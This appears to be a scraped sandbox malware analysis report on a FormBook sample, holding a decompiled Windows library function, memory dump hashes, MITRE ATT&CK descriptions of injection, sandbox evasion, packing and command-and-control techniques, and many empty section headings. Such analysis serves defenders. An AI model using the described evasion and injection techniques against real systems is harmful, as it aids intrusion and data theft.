			E03CBFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E03C6CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E03CB5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E03CB5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x03cbfdda
0x03cbfde2
0x03cbfde5
0x03cbfdec
0x03cbfdfa
0x03cbfdff
0x03cbfe0a
0x03cbfe0f
0x03cbfe17
0x03cbfe1e
0x03cbfe19
0x03cbfe19
0x03cbfe19
0x03cbfe20
0x03cbfe21
0x03cbfe22
0x03cbfe25
0x03cbfe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 03CBFDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 03CBFE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 03CBFE2B

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 3ef975a4a50b833b28af480b20b25cb25ab6e1a61bb2d6f76d23c1bcbdf93a86
Instruction ID: 8875d7c3af5f79b41899be666c1716de2ee9615d86edc36d07018fcd6df33907
Opcode Fuzzy Hash: 3ef975a4a50b833b28af480b20b25cb25ab6e1a61bb2d6f76d23c1bcbdf93a86
Instruction Fuzzy Hash: 32F0C23A240241BFE6219A45DC02E67BB6AEB46730F154214F628DA1D1DA62F930A6E4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report PO# 0499699.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Function 004030CB, Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Function 00405302, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Function 6FC61A98, Relevance: 20.1, APIs: 13, Instructions: 591
stringlibrarymemoryCOMMONCrypto

Function 00405FA8, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 00405CFF, Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Function 00405CD8, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 00403526, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00402C22, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401734, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00402E5B, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Function 004015B3, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Function 004056E3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Function 6FC616DB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 00401F51, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Function 00403097, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Function 004063DD, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Function 004065DE, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Function 004062F4, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Function 00405DF9, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Function 00406247, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Function 00406365, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Function 004062B1, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Function 00401B06, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Function 004056B4, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Function 00405695, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Function 6FC62A38, Relevance: 1.6, APIs: 1, Instructions: 143
fileCOMMON

Function 0040304E, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Function 6FC62921, Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Function 00403080, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Function 6FC6101B, Relevance: 1.3, APIs: 1, Instructions: 13
memoryCOMMON